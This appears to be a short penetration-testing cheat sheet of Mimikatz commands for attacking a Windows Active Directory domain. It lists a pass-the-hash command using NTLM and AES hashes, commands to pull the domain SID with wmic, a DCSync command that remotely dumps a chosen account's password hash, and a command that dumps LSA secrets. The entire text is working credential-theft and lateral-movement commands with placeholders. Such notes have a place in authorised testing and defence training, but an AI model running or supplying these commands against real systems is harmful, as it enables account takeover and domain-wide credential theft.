mimikatz.exe sekurlsa::pth /user:<USERNAME> /domain:<DOMAIN> /ntlm:<NTLM_HASH> /aes128:<aes128_HASH> /aes256:<aes256_HASH>

:: Extract domain SID from Active Directory object
wmic group where name="Domain Admins" get name,sid,domain
:: or reg query HKU to retrieve logged in domain user SIDs (which contain domain SID)
:: Result of above commands: S-1-5-21-520640528-869697576-4233872597-1532
:: The Domain SID Portion is: S-1-5-21-520640528-869697576-4233872597

:: Remote dump hash for specific user account
:: Administrators, Domain Admins, or Enterprise Admins are able to remotely DCSync
mimikatz.exe "lsadump::dcsync /domain:<DOMAIN_FQDN> /user:<USERNAME>"

:: Get the SysKey to decypt SECRETS entries
:: From registry or hives
mimikatz.exe “lsadump::secrets”